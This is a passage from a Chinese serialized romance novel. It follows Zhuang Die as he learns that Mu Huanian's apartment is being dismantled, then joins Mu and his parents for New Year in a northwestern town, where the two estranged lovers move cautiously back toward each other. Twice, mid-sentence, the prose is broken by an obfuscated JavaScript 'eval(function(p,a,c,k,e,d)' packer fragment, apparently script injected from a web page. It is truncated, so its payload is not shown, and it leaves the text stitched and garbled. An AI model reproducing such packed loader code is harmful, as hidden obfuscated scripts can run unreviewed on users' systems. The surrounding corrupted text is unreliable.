庄迭又记起了那天晚上的问题,低声说:“我相信你的。” 听起来挺苍白的。说完两个人都没有再说话。 三年前,同样是这条路,他们堵了一小时,到最后庄迭甚至以为是老天的安排。他手心沁着汗,心里藏着事,一如今日般和慕华年沉默地坐着,连车载音乐都没开。 不过那天他还是赶上了飞机——因为飞机也延误了两个小时,它在那日黄昏带着庄迭离开了江城。 庄迭也是从那天开始不愿意相信命运的安排。 “到了。”慕华年说。 庄迭不做声,今天的这段路意外的一路绿灯,比任何时候都要顺畅,他解安全带的手开始磨洋工。 慕华年看了他一眼,一边下车一边说,“垃圾放车里,行李箱我给你拿下来,我在这等你进候机厅,有什么忘了及时给我说。” “好的。” 庄迭从另一边下来,慕华年帮他把所有东西清点完毕,用护照夹住身份证和机票后交到他手里。 “我长大了。”庄迭笑着接过。 “嗯,我知道。” 慕华年朝他点头示意他进去,庄迭却突然迈不开步子。他试图伸手做最后的挣扎,但车停在临时停车区,后面的喇叭按了两下。 慕华年脚步松动,没有再说什么,也没抬头看他,转身上了车。 候机厅里,庄迭给慕华年发微信。他不知道自己为什么不直接打电话。 “起降平安。”回复很快传来。 庄迭闭上眼靠在休息室的椅背上。 就这样回去吗?好像什么都没做呢。 一瞬间的冲动占领了高地,来也是,去也是。 当庄迭拖着行李箱跑回那间慕华年带他来过的公寓时,搬家工人正在清空房间。 慕华年说这是他平常的住处。 所以是在骗他。 “你好,这里的住户呢?”庄迭抓住站在一边的监工。 眼前的人被他突然的动作吓了一跳,庄迭说了句抱歉,语气依旧急切:“这里不是慕先生家吗?” “慕先生?你是说慕总吗?哦,这是我们公司公寓,当初装修的时候慕总说给他留一套,他的那套还是他自己设计的。不过这两三年了他都没来过,一周前却突然提出要住,我还说……” 后续的话语在庄迭耳中变成杂音,他望着被搬空的房间,声音发紧:“那为什么要拆?” 监工摇头,把手上的图纸展示给了庄迭,“慕总吩咐全部拆掉,我们也不敢问。”见庄迭脸色愈沉,他补充道:“不过慕总真大方,把家具都送我们了。那些家具都是他自己花钱买的,我看着都挺贵的呢。” 庄迭嘴角抽动,监工打量着他:“您是慕总的朋友?” “算是。” 监工立刻松了一口气道:“那您尽管问。对了,这栋楼设计时参考了市中心一个老小区,也是慕总提议的,说动线很合理。” 很方便像昨晚一样在每个房间做/爱吗?庄迭的笑容带着苦涩。 难怪他第一次来的时候会有莫名其妙的熟悉感。 原来慕华年这么念旧,连只住一周的房子都必须要和记忆里的一模一样。 “他有说为什么突然要住吗?” “我不清楚。我只是交房的时候和他聊过两句,他说房子的主人回来了,他就搬出来了。慕总话真少,总是一个人……” 房子的主人回来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“谢谢,我会转告。方便问一下他什么时候提的休假吗?” “一周前。” 一周前,庄迭感觉耳边一阵轰鸣。 “你装修公寓的时候就觉得我一定会回来是吗?” “所以你一直住在家里等我回来。” “你就为了给我把家守住,好让我回来了有个去处。” “慕华年,你就是个哑巴。” 四条微信发完,庄迭拖着行李箱离开,却发觉自己无处可去。 江城真大,他第一次这么觉得。 庄迭拉着行李箱四处游走,他还没有好好逛过他出生的这座城。 小时候跟着母亲流离失所了几年,后来进了庄家的大门就很少再出去,再后来直接出国。江城对他而言其实很陌生,他走过的路大多时候都有一个叫做慕华年的人陪着。 如今慕华年走了。 “慕华年,回我。” 最后一条消息也石沉大海,电话打过去的时候依旧只有一阵忙音。 此刻的庄迭甚至不需要慕华年原谅自己,或者是回到他身边,他只希望慕华年好好的。 8. 第 8 章 “老慕,你去开一下门。” 肃城是西北的一座小城,是慕华年长了十八年的地方。 晚上七点,春藤家园四号楼602号的门口站着一个瑟瑟发抖的年轻人。 这是他第二次来西北,这里太冷了。 “谁啊?” 门从里面拉开,门里的男人看了一眼眼前的人,两个人面面相觑。 “周老师,你过来一下。” “小庄?我还以为今年过年你也不来了呢,快进来,冻坏了吧?孝文,去倒杯热水。” 周韵见到庄迭时微微一怔,很快接过他手中的行李箱。身旁的慕孝文看了她一眼,她轻轻摇头。 “三年没回家了,小年说你忙,你那个汽车公司做得怎么样?我们问小年,他说什么都好,就是因为太好了所以你越来越忙。” 周韵边说边将行李箱推进次卧,庄迭瞥了一眼,那里有一个一模一样的行李箱摊在地上。 那一刻,庄迭松了一口气。 还好,还好。 “爸妈,市场的排骨都不太新鲜,明天我开车去买。还有,我们再买两盆花吧,过年……” “庄迭。” 指纹锁弹开的瞬间,内外俱寂,慕华年手里的东西险些没拿住。 “他没说要来,”慕华年语气轻松,他把手里的东西往桌子上一放,走到庄迭身边,他在笑,庄迭扭头看他,“车上还有点东西,刚好他来了,顺便给我搭把手。”说完便拉着庄迭出了门。 门一关,楼道的灯应声亮起。慕华年的角度刚好能把庄迭笼住,也刚好能把自己的表情藏起来。 “怎么啦,不欢迎我吗?” 庄迭还是觉得冷,他说话的声音在颤抖。他伸手去握慕华年的手时,对方没有躲开。 “下楼。” “我行李在你卧室。” “……”慕华年沉默了,庄迭愣了片刻突然笑了,他说“好”。 慕华年知道,他也没想赶庄迭走。 毕竟今天是大年三十。 庄迭为此升起一丝雀跃。 西北的风粗糙,可这风雕刻出的慕华年却格外细腻,在这里,他褪去了黑色大衣,穿着周韵买的灰色羽绒服,一件水洗牛仔裤,头发乖顺地贴在额头上。 庄迭见过慕华年的高中毕业照,他那时候就是这身打扮。 此时,春晚还有半个小时开播,各家各户已经换了新的对联,隔着门也能听到阖家欢乐的嬉笑声。 慕华年沉默地走在前面,走出了院子,庄迭一言不发跟着他。 小城的年味其实也没有几年前浓了,平日热闹的街上人很少,庄迭想起他第一次和慕华年回家的时候。 那次他们的机票都是对方买的,而他得到了最温暖的一个春节。 “今年还放烟花吗?好多城市都禁了,咱们这呢?”庄迭小心翼翼开口。 “放,今天晚上在大桥那放。” 慕华年说话的时候呼出白气,他的鼻尖红红的,庄迭好几次快要忍不住去触摸。 他点头,想起慕华年可能看不见,又补了一声“好”。 慕华年其实看到了,他一直盯着庄迭的影子。 两个人的脚印在昨晚落下的积雪上留下痕迹,庄迭不紧不慢跟着,他的右脚踩在慕华年留下的脚印上,他们走过的路慢慢汇合。 “看路。” 庄迭顿了下,撞上慕华年的后背,他抬头笑。 他们面前什么都没有,慕华年在逗他,这样的感觉真好。 “你走,我跟着你走,没事。” “庄迭,”慕华年停步却未转身,庄迭的额头靠着冰凉的羽绒服,很软的触感,靠久了就热起来了,“你在抖。” 庄迭是在颤抖,慕华年能感觉到,知道那不只是因为冷。 “我给你打了七个电话,发了二十多条微信,九个小时,你不回我。” “你怎么知道我在这?”慕华年避而不答。 “我不知道,但我希望你在。如果你不在,”庄迭深吸一口气,鼻音已经快要盖不住了,“那我陪着爸妈过年。” 爸妈。 庄迭都没有意识到自己叫出这个称呼的时候是多么顺口,他这辈子没叫过几声爸妈。小时候萧玲嫌他吵,庄家那两个小的不让他叫庄均存爸爸。后来他在发烧的时候这么叫过张宪,张宪没应,庄迭就继续叫他张叔。 让他没想到的是,第一次见面,在西北体制内干了一辈子的老两口,几乎顷刻间接受了他。 “庄迭,”慕华年说,“三年了,怎么还因为找不到我而害怕啊?” 慕华年的声音带着蛊惑,他感觉庄迭在他衣服上蹭了蹭,笑了一声,换了个姿势靠着他。 “我不知道,可就是会啊。” “对了,这个还给你,”庄迭松开手,从口袋里掏出一张拍立得,“那个公寓其他东西你都收拾干净了,只把这个落下了。” 庄迭没有替慕华年遮掩他的谎言,却也没有丝毫情绪表达,仿佛只是一时兴起。 慕华年没接。 照片上的两个年轻人笑得灿烂,他们背后的极光把天空划成斑斓的线条。那一夜,他们在暴雪中拥吻,呼吸比窗外的寒风更加猛烈。 慕华年怎么会把它落下呢? 庄迭至今都没敢正视那张照片,而他的那一张藏在他的护照夹里,坐在飞机上庄迭一直在看。 “嗯,是我的。” 慕华年接过照片,指尖相处时庄迭没有缩手,甚至在他抽走照片时感受到了一阵作用力。慕华年抬眼,庄迭死死盯着照片上的人。 “就这么丢掉,不心疼吗?”话说出口,庄迭忽然失笑。 这句话问的,他竟然一时间不知道自己是以什么立场说出来的,这应该是慕华年的台词。 他像是突然脱力,轻轻松了手,慕华年把照片装回口袋。 “对不起。” 庄迭说完这句话,慕华年朝后退了一步,他不想听这个。 “慕华年,”庄迭站在原地,“你就不问问我为什么走吗?” “不问了。” “为什么?”庄迭不死心地追问,“你说我没给你机会解释,那你能不能给我机会?” “不用解释。” 慕华年笑了,目光里是庄迭许久未见到的温柔,雪后的银白反射着路灯的光,他在光下的时候很好看,亮亮的,很耀眼。 可他说:“人在不幸福的时候,做任何选择都不用解释。” 庄迭走得时候太果断了,没有给慕华年挽留的余地,他再发消息的时候,对面已经删除了他的好友。他在很长一段时间止不住的思考,庄迭真的爱过他吗?为什么一个人的爱,能这么拿得起放得下? 后来他用了三年得出这个结论,并且奉为圭臬。在慕华年看来,人在不幸福的时候做出的解释只有两种,虚假的谎言和血淋淋的真心。 他都不敢要了。他好不容易才说服自己的。 “慕华年,你真的不爱我了吗?” “爱。” 慕华年的干脆让庄迭诧异。可等他抬手要去抱眼前的人时,慕华年没有回应,只是任由他抱着。庄迭的手环着他,怀里只有羽绒服上的寒气。 眼前人的脖颈好像在散热,可是庄迭不敢靠过去,那里的脉搏一震一震,庄迭看得出神。 不可否认,慕华年也在贪图这一刻的亲密,明明隔着两层厚厚的冬衣,可他觉得彼此的距离比任何一个夜晚更近。 “可是庄迭,我们已经爱过一次了,结局不算美好。” “砰——” “慕华年,新年快乐。” 烟花在他们头顶绽开,蓝色的微光划破黑色的夜幕。 慕华年不确定庄迭听见了没有,但怀里的人松开了他。毛茸茸的头发盖着耳廓,庄迭看烟花的时候带着虔诚。 他方才泛红的眼眶,现在被烟花的色彩掩盖了那一份不经意流露的脆弱,染上了些许笑意。 他听到了。 不远处的一家三口举着手机开始拍照,女儿搂着爸爸的脖子看天上的烟花,旁边的妈妈伸手拽了拽女孩的下摆,往丈夫怀里靠了靠。 庄迭还穿着早上在江城的那套衣服,此时西北风直率,吹得他脸颊生疼。 不过城市小的好处就是一处热闹,满城欢笑。庄迭望着眼前的一家人,笑意渐浓。他还是很冷,但是烟火很热。 “还看吗?”慕华年没有继续刚才的话题。 “再看一会儿吧。” 慕华年点头,不动声色地挪到庄迭身后。他比庄迭高些,此时两个人的影子交叠着,那阵阵寒风突然就消失了。 庄迭笑着,他的笑声很轻,只有自己能听得到。 慕华年侧头的时候,只看到庄迭的睫毛盖住了他的眼睛,让里面的情绪全如此时的他们一般沉默。 但很快,庄迭将手塞进慕华年口袋。 果然,慕华年是热的,他什么时候都是热的。 两只手在口袋里十指相缠,庄迭小心避开了那张拍立得。 其实拍立得也被慕华年的手心捂热了,可庄迭还是不敢碰。 慕华年忍不住又看了庄迭一眼,他依旧盯着烟花消逝后只存在于记忆中的线条,看得出神。 透过这双棕黑色的眼睛,慕华年听到了烟花的“砰砰”声。 “能带我去放烟花吗?” 庄迭没有转头,只感觉到交握的手收紧了一下,听到一句“好”。 “现在去买,玩一个小时,然后回去和爸妈吃饭。” “听你的。” 慕华年去开车,庄迭站在院子门口等他。 天空中的花火依旧在绽放,他记忆里小城的烟花要放半个小时,第一次看的时候脖子都乏了,眼睛长时间盯着那些闪烁的火光,慢慢开始发酸,他不舍得走。 其实每一束烟花炸开的瞬间都大同小异,可他偏爱这些美丽易逝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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今夜的风有些大,打火机的光忽明忽暗,慕华年握着引子蹲在地上,试了几次都没点燃,显得有些笨拙。他小时候不爱放炮,不喜欢突如其来的动静,所以现在看来也还是不太熟练。 “行不行啊?要不要我帮帮忙?”庄迭笑着问,舌头和心脏却在打架。 慕华年说“不用”,打火机在这一刻点燃了引线。 “嘶——”,火星朝烟花盒飞速移动,直到爆炸一触即发之时,慕华年起身回到了庄迭身边。 这是庄迭今晚看到的第二场烟花,是专门为他放的。 与刚才精心设计的不同,庄迭选的这盒小巧朴实,火花飞起的时候并没有太多意料之外的设计,它直白地升空,旋转,然后炸开。 慕华年盯着烟花,眼神晦暗不明,庄迭顺着烟花看他,吻住了他的嘴角。 “回应我。” 庄迭拽住慕华年的外套帽檐,带着蛮横的力度,仰头一次次轻啄他唇上的温热。 慕华年耐不住了,侧身,双手在理智的边缘游荡了一下,还是停靠在了庄迭的腰侧。 这个吻是温吞的,是那晚没有的试探,嘴唇像是他们之间的密语,只有爱的时候才会碰触。 庄迭试探着索取,舌尖在坚硬处探索,慕华年不退不进,打开自己放庄迭肆意入侵,庄迭要多少他都给。 他什么也不要,只是承受就足够美好。 吻到上头的时候,庄迭甚至产生了错觉,如果自己在这一刻说“我们和好吧”,慕华年会同意的。 可这个吻攥住了他的心脏,庄迭像是回到了连换气都不会的年纪,慕华年掠夺了他的氧气,他只觉得有一种说不出的难受。 与此同时,慕华年尝到了口腔里的咸腥味,他睁眼,庄迭泪流满面,咬破了他的下唇。 烟花放完了,四下一片寂静,慕华年没有动,庄迭却向后退了一步。 “太冷了,回家吧。” 那盒小礼花被慕华年收好,他把它放在后备箱的夹角处。 “你没和叔叔阿姨说我们分开了?” 上楼前,庄迭又叫回了这个称呼,慕华年转头锁车,庄迭瞧见他点头,却看不到他的表情。 “没必要让他们知道。只要我俩没分手,他们就不会担心我一个人在江城过得不好。” 可你过得好吗?庄迭的话欲言又止。 过去一周,他们的交流大都兜着圈子,每个人呼之欲出的心跳被对方三言两语躲开,他们谁都没敢触碰最核心的东西。 “你要想告诉他们也行,我觉得刚才也瞒不住,周老师多聪明。”慕华年提到妈妈的时候目光又柔和了一些,“你也别担心,他俩拿你当儿子,与我无关,你比我讨人喜欢。” 太自然了,这一切都太自然了,只是这一幕应该发生在三年前的那个春节而不是现在。 三年前,慕华年一个人推开家门的时候,他特别怕爸妈会问起庄迭,他会疯的,索性两个人谁都没提。 庄迭像是突然降落在他肩膀上的蝴蝶,飞走了,慕华年也只觉得一切是自己的幻想而已。 9. 第 9 章 “我们回来啦!”庄迭笑着,随后又软下声气,“我要饿死了,今天就了一个鸡蛋灌饼。” 慕华年换鞋的动作微微一顿,他挂好庄迭的大衣,取出一双新拖鞋放在地上。 “过来换鞋。” 庄迭笑眯眯跑过去,扶柜子时没站稳,胳膊却被稳稳扶住。 周韵从厨房探身问:“怎么出去了这么久?刚才的烟花看到了吗?” “看到了,我还缠着小年陪我放了一束呢,可是要给我冻坏了。” 庄迭语气很软,周韵露出无奈的笑容,转身朝客厅提高声调问:“孝文,你给倒的水呢?” “倒着呢,过来喝。前两天刚拿的红茶,喝完睡个好觉。” 慕孝文在客厅坐着,庄迭凑过去坐到他对面,端着杯子的时候手指还有些僵硬,茶水溅出来了一些落在他拇指上。 这茶很香,汤色澄澈,与慕华年那晚泡的一模一样。 “爸,”庄迭自然地叫道,“您今年年假休了吗?过完年我们一家四口出去玩呗。” “你不回荷兰了?” 慕华年走过来坐在沙发扶手上,庄迭眼神闪烁了一下,“三年了,我也得休息一下。” 慕华年沉默不语,倒是慕孝文点头接茬道:“我和周老师还说呢,你也就是年轻,一点都不知道累,怎么也得给自己留点休息的时间。” 慕孝文说完顿了顿,目光转向慕华年,语气带着不容置疑的关切:“人逼得紧了,松下来就会无所适从。”慕华年避开了他的视线。 “不过我的年假休完了,暑假陪周老师去了趟阿勒泰,那儿是真好看,我还给小年发照片了,你们夏天也去看看。”慕孝文转头继续和庄迭聊。 庄迭愣了愣,很快反应过来,“那时候估计我俩时差不对,我好像没收到消息。” “你那时候忙着新发动机测试,我没找你。” 去年暑假庄迭全心投入发动机性能研究,慕华年从路远舟的动态里看见他连续熬了三个通宵。 他没说的是,那条提醒庄迭注意休息的健康中心消息,是他借同事手机发的。他想让庄迭劳逸结合,尽管他自己没做到。 “不说这个了。” 慕孝文敏锐地察觉到什么,不动声色地叹了口气,起身拉着庄迭往餐厅走。 慕华年过去帮着周韵把饺子盛出来,又把鱼热了热,慕孝文看着他,忍不住又问:“那你这次休息多久?” “这次假期长,一个月吧。” 庄迭和慕华年对视,对方盯着他没说话,慕孝文点头,“那你陪小庄玩玩去呗,就是西北的冬天光秃秃的,小庄又怕冷。” “行吗,慕华年?”庄迭顺着慕孝文的话小心翼翼地问。 慕华年点头,“先吃饭。明天我带你开车自驾,走哪儿算哪儿。” 庄迭低头笑了。 或许是太饿,也可能是心里带着那份期待,庄迭这顿饭吃得特别香,他吃了一口饺子,抬头看着慕华年。 刚才咬他,有点想要报复,也有点真的饿了。 饭吃到一半,周韵回厨房端了一个小碗出来,庄迭看着眼前的浇头,明白这是周韵特意为他准备的接风面。不过等把面拌匀,他看到面条上裹着的鸡蛋,突然反应过来今天的饺子是三鲜的,于是问:“爸不是不能吃鸡蛋吗?” 这句话按下了今晚的第一个暂停键,桌上的其他三个人同时沉默。 庄迭变得不知所措,他望向慕华年,听到他若无其事地边吃边说:“爸做了胆囊切除的手术,能吃了。” “什么时候?”庄迭问得太急,周韵和慕孝文又对视了一眼。 “三年前,五月。不过我也是后来知道的。” 慕华年没有说后来是什么时候,但庄迭手里的面条掉回了碗里。 他是三年前十月离开的,那时候慕华年说他真的很害怕。 庄迭的敏锐总是在适时出现,比如此时,慕华年不用解释,他也明白彼时慕华年的慌张里,有几分是因为这件事。 “都过去了,”慕华年又往庄迭的碗里夹了颗油菜,“不提了。” 这顿饭就这么结束了,庄迭没再追问手术细节,吃完饭他帮着周韵洗碗收拾桌子,慕孝文和慕华年在阳台站着说话。 “分开了?” 慕孝文点了一根烟,他把阳台的窗户打开。外面风好像小了一点,流动的空气让慕华年清醒了一些。 “嗯。”慕华年没想要隐瞒,他盯着火星看,慕孝文干笑了两声按灭烟,“行,不抽了。我们爷俩说说话?” 慕华年回头看了眼厨房,慕孝文继续说:“小庄是个好孩子,你也是个好孩子。” 慕华年转头看他,慕孝文将烟灰缸里的烟头又按了按,甚至用水浇熄了最后一点火星。 “我们就希望你幸福,真的。你是我们的好儿子,是让我们骄傲的儿子,我们不知道还能为你做什么。你和庄迭在一起的时候很快乐,这对我们来说就够了。” “你们是很好的父母,是我的问题。”慕华年低下了头。 慕孝文摇头,拍了拍他的肩膀,说:“关于你的问题,我和你妈聊过好多次。从你高考、上大学,到你说要出国……我们觉得是小时候对你的期望太高,让你把自己逼得太紧。现在说这些太晚,但小年,我们只有你一个儿子。” “我知道,”慕华年深吸一口气,“你们已经做得很好了。是我要得太多,你们给不了,庄迭也给不了。没有人能给的了。” 慕孝文叹着气摇头,慕华年的话堵住了他的嘴,他始终不明白儿子为何会变成这样,慕华年也没有习惯去解释。 现在这样的关系对他而言足够了,他的父母很爱他,他也很爱自己的家。 从前他没有得到的,大概率未来也不会得到。慕华年想清楚这点的时候,他答应了庄迭的表白。 在他确定自己没有将缺失的那部分感情寄托在庄迭身上时,他才开始回应。 “你活得太累了,小年,有时候人要自己想清楚。你可以停下来想清楚再出发。我和你妈不用你管,我们……” 慕孝文再次开口,那些话却变成了慕华年脑中的背景音。 有些话听了太多次,愧疚了太多次,自我折磨了太多次,就没什么感觉了。 “出去玩玩也好,”慕孝文又用手压了压烟灰缸里的烟蒂,终究还是又点了一根,抽完就把窗户关掉了,“我挺感激小庄的。” 慕华年目光随着一缕被困在屋里的烟飘散,他有点累了。 “小庄,你和我说实话,你们之间没有别人吧?” 厨房里,周韵侧身轻声问。庄迭一边擦碗一边笑着答:“没有。” “那,”周韵洗碗的动作停顿了顿,表情有些犹豫,“你是感觉到什么了?” 还没等庄迭回答,她自己否定了那个问题,换上温和的笑容,说:“我们小年有些时候是木了些。” 木吗?庄迭愣了一下,慕华年其实反应很快,他能接住庄迭抛出来的每一句话,甚至每一个眼神。 “他很好了。” “那怎么就……” “妈,”庄迭轻声打断,“我们之间从前有些话没说清,搁着搁着就不知道怎么说了。我不敢说,他好像也不敢听。妈,慕华年这辈子走过回头路吗?” 周韵被问住了,她手中冲洗着筷子,脑海却一片纷乱。 慕华年的人生一直沿着既定的轨迹前行,从未偏离,从未停歇。 “回头路?没有。”她微微抬高声音,“小年从小就懂事,知道什么选择对他最好。” 周韵的回答让庄迭的心沉了沉,他之所以这么问,是因为慕华年说他们已经爱过一次了。 饭后,四个人其乐融融地打了一会儿牌,谁也没有聊一些敏感话题。庄迭手气更是好得不行,慕孝文笑着说他是不是去澳门学习了,借机给他转了一千块当红包。 庄迭没有推脱,发了个“拥抱”的表情包,点了收款,但随后又私转给慕华年五百。 慕华年不动声色地看他,手机震动了一下:“谢谢喂牌,有福同享。” 两个都是聪明人,对一切都心照不宣。 西北的冬天冷,可有了地暖就不冷了。 两个老人终究没有熬到春晚结束就去睡了,庄迭盘腿坐在沙发上,身上穿着慕华年的睡衣。 不知为何,他特别喜欢西北的地暖,无论外面有多冷,一进门 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慕华年没回话,却任由庄迭伸过来的胳膊搭在他的肚子上。庄迭很喜欢这个姿势,这样他可以数着慕华年的心跳睡觉。 两床被子原本分明,慢慢的交叠着就没了缝隙。 “小年,”庄迭含着笑,“爸妈叫你‘小年’的时候你可乖了。” 慕华年眼睛闭着,整个人直挺挺躺在床上,这明明是他的床,他却硬是被庄迭逼到了床边。他没有接话,只问:“你不累吗?” 庄迭摇头,他现在只觉得有点晕。刚才在饭桌上陪慕孝文喝了两杯,看电视的时候脸还有点红。 慕华年不喝酒,但他没有拦着庄迭。 “我有点冷,”庄迭往他身边挤了挤,“你的窗户漏风。” 慕华年“嗯”了一声,他小时候也觉得那个窗户漏风,但是他没说过。 忽然,还没等庄迭反应,慕华年抬起胳膊绕过了他,撑起身子利落地跨到靠窗的一侧。 这套动作一气呵成,像是下意识的反应。 庄迭愣了一秒。慕华年经过时呼吸很重,吐纳间的气息被他全盘接收,他小声嘟囔:“你不要勾引我。” 慕华年眉眼一松,庄迭的声音太软了,他知道那点酒不至于,庄迭确实更会装了。 “那你把眼睛闭起来睡觉。” 庄迭嘴里哼哼了几句,但是没有越界,他和慕华年中间总还是隔着一条被子,慕华年能感觉到他在被子里蠕动,像个闹着要听故事的小孩。 “真不困吗?”慕华年问。 “困,但睡不着。” 庄迭此刻大脑很清醒,他身边的慕华年刚洗过澡,头发用吹风机吹完后香味还在挥发,周韵买的洗发水特别香,那股味儿自始至终萦绕在他的鼻尖。 “以后不要喝酒了。” “刚刚怎么不拦我?” 庄迭说话时候带着笑,他侧过身盯着慕华年,夜幕中眼前的人怎么都看不清,镀着一层灰,像是尘封了很久的蜡像。 “今天开心吗?” 慕华年避开问题,也没敢回头正视庄迭的目光。 “嗯,”庄迭声音淡淡地,“我很久没过年了。远舟去年订婚了,不过没说什么时候结,估摸着等他结了婚就彻底没人陪我闹了。” “热闹了二十多年,现在身边的朋友结婚的结婚,回国的回国。你问我为什么不回去,”庄迭笑了笑,“我也想回去,待在荷兰我更舒服,但是太孤独了。” “慕华年,荷兰的冬天太长太冷,这是你说过的。” 庄迭的话戛然而止,没有进一步无理的要求,也没有试图让这段对话继续,慕华年转头的时候看见他胸口的被子平静起伏。 睡着的庄迭是最好看的,少了白日咋咋唬唬的性子,安静地缩在自己的角落像一只怕惊的猫。 慕华年盯着庄迭看了好一会,眼睛有些涩了,换了个方向盯着窗外的月亮。 西北天高,感觉离月亮更近。直到此刻,慕华年也不清楚自己在做什么,只知道庄迭回来了,跟着他回了家。 他不得不承认,这一刻他有些松动了。 10. 第 10 章 或许是人上了年纪觉少,周韵起得很早,八点左右厨房就传来声响。 慕华年的卧室紧邻厨房,他睡眠很轻,几乎在电磁炉发出“嗡嗡”声的同时就睁开眼。他低头,庄迭窝在他身上,嘴唇微张着呼吸,睫毛在颤抖,整个人跟随着他的胸口一同起伏。 记得昨夜入睡前,某人还信誓旦旦要划清界限,如今他成了过江的霸王,在慕华年身上安营扎寨。 慕华年笑了一声,庄迭皱了皱眉但没有醒,他将压在庄迭身下的胳膊缓缓抽出来,眼前的人更不安地哼哼了两声。 “睡。” 慕华年犹豫了一下用掌心轻拍庄迭后背,将自己的枕头塞进他怀里。床上的人没有发现异常,只是将枕头抱得更紧。 有时候看到这样的庄迭,慕华年也会问自己,他当时为什么会走得那么决绝,好像真的不喜欢了一样。 结果当然是无果。 “妈,你不用收拾,昨天我买了一些水果和面包,路上他饿了先垫垫,进城区我会给他找地方吃饭的。” 周韵将刚炸好的油饼分装成三袋,每个小包装了三个,她看了一眼慕华年,又望向卧室方向,说:“我看你们两个人不是挺好的吗?” 慕华年眼神飘忽,笑着接过东西。周韵走到卧室门前轻轻带上门,带着人往客厅里走。 “昨天小庄问我,你走不走回头路。” 慕华年倒水的动作微滞,“您怎么说的?” “我说你没走过。” 慕华年把杯子递给周韵,有片刻出神,“妈,不用说这些了。我带他玩玩,他还是要回荷兰,我还是要回江城,我们都有自己的生活了。” “慕华年?” 客厅里的两个人停止交谈,慕华年循声望去。庄迭换了衣服,套着他自己的毛衣,头发随意扎着,像只毛茸茸的小动物。 慕华年眼神软了几分,“这呢,”他走上前挡住庄迭,低声耳语,“怎么换衣服了?” “起来发现袖子上有口水。”庄迭小声答着,笑得心虚。 慕华年神色稍霁,“我睡衣上也有呢。” 周韵在不远处皱眉:“起了就抓紧时间走吧。” 庄迭笑着应了声“好”,没走两步,被慕华年抓住肩膀,塞回了房间里。 “干嘛,我要洗漱。”庄迭的尾音带着点不自知的娇。 慕华年转身避开视线,蹲下翻找行李,说:“把衣服换了。” “嗯?” 庄迭低头打量了自己一圈,身上的毛衣是绒料子,贴身穿很舒服,裤子是慕华年的格子裤,他穿也刚也合适,他没感觉有什么问题。 慕华年没说话,指尖轻点自己锁骨。 其实不止那里。庄迭身上的毛衣的领口很大,慕华年几乎一眼就看到了属于自己的痕迹。 “怎么了?”庄迭凑过去要看。 慕华年退了一步,“你。” “我怎么了?” 此刻慕华年才恍然,卧室门外就有立镜,以庄迭的性格,他不会允许自己出现这样的错误。 “好看吗?”庄迭呼吸逼近,胸口的红痕像一朵绽放的花。 “好看。” 回答的语句从心而轻缓。庄迭果然什么都知道。 慕华年嘴角微微勾起,不再回避庄迭目光。他的眼睛蒙着雾气,不知不觉浸湿了庄迭,这次换庄迭先扭过头。 慕华年发现了,他这次回来后根本不敢看自己。 慕华年越过庄迭去拉门,庄迭却先抵住门板。 “不想换就穿着,走吧。” “你在紧张什么?” 此刻的庄迭像极了当初在酒吧无理取闹的样子,他娇蛮得毫无道理,却没有一丝胆怯,这才是旁人眼里的庄迭。 慕华年也不明白自己在紧张什么,放在从前他们做过更过分的,可那是从前了。 实际上庄迭回来后的每一次逾矩,他的第一反应都是躲,可对面站着的偏偏是庄迭,慕华年在他面前说不出一个不字。 “你不觉得我们现在很奇怪吗?” 被庄迭这么一问,慕华年微微低头看他,说:“你跟我回来就已经很奇怪了。” “但你没阻止我。” “怎么阻止?”慕华年声音里没有笑意,“庄迭,滚。” “像这样吗?” “庄迭,我只希望你明白自己在做什么。” “两个人磨蹭什么呢!我在楼下等了半小时了!再不出发留下吃午饭好了。” 门锁弹开,慕孝文一嗓子喊破沉寂。他清晨洗了车,办了加油卡塞进遮阳板,烟瘾犯时摸索车夹层,险些抽了庄迭那盒烟。 “年纪轻轻就拖拖拉拉,”他换上鞋,声音带着不满,“时间观念都到哪去了?” 慕孝文环顾四周,只见周韵一个人在客厅坐着,他正要开口,对方竖起食指抵住嘴唇。 “吵起来了?” 周韵摇头,小声回答:“进了卧室半天没动静。” 慕孝文瞥向墙上的时钟,9;52,比计划晚了二十二分钟,这不像慕华年会做的事情。 “小年?”慕孝文皱着眉过去,站在卧室门口问,“还有要准备的吗?” 门从里面拉开,两个人肩并肩站着。庄迭换了一件黑色高领打底,将细长的脖颈遮了大半,他笑着摇头,说:“没事,找剃须刀耽误了。这就出发。”说完礼貌地向二老道别,若无其事地在玄关换好鞋直接拿着自己的行李箱下了楼。 二老看得出端倪,但庄迭走了,他们从慕华年这更别想问出个所以然。 关门前周韵扯住慕华年的背包带子,朝庄迭离开的方向努了努嘴,“照顾好自己。” 慕华年拍了拍周韵的手,什么也没说。 年还没过完,高速路上没什么过往车辆,西北的公路笔直悠长,可惜西北的冬天真算不得什么好时节。 年前下的雪还没融化,道路上只有车行道蜿蜒着两条黑色的痕迹,路两旁是千篇一律的荒芜。这样的景象会将时间拉长,让每分每秒流逝的毫无征兆。 刚才发生的小插曲没有影响到庄迭的心情,慕华年固执,他自己也没好多少,但终究他理亏,他连反驳都没有气势。 上车后慕华年开车,他就不时侧目,只是对方永远目视前路。 庄迭沉默地坐着,慢慢将目光从慕华年转向窗外,盯着雪景久了人难免会发呆。 这是一场看似没有终点的旅行,只是哪一天他把话说出口了,他们就将会和这场旅行一同结束。 庄迭回过神,强迫自己遏止思绪,他低头看到了那半盒烟,正要去拿—— “别在车里抽。” “我不抽,看看。” 庄迭把烟盒拿在手里,里面的烟一根没少,他抽出一根放在鼻子上嗅了嗅。 他还是不喜欢这股味道,却不得不承认,通过去做一件不喜欢的事,可以短暂消除掉他的焦虑。 这算自虐吗?庄迭笑着把烟装回了烟盒。 车开上国道,路上的人越发少,慕华年单手去拿侧边的墨镜。 出发的时间比他预计的晚了半小时,太阳起来,映照在雪面上刺得他眼睛疼。只是预料中的墨镜换了地方,大概是洗车的时候被人收到了夹层。 慕华年摸了个空,不得不皱着眉试图降低光照带来的眩晕感。 “戴我的行吗?”话问得客气,可庄迭已经把墨镜递过来了,“一人开半天,中午到加油站换手。” 